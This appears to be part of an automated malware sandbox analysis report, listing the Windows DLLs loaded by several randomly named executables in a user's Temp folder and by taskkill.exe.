Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Section loaded: srvcli.dll
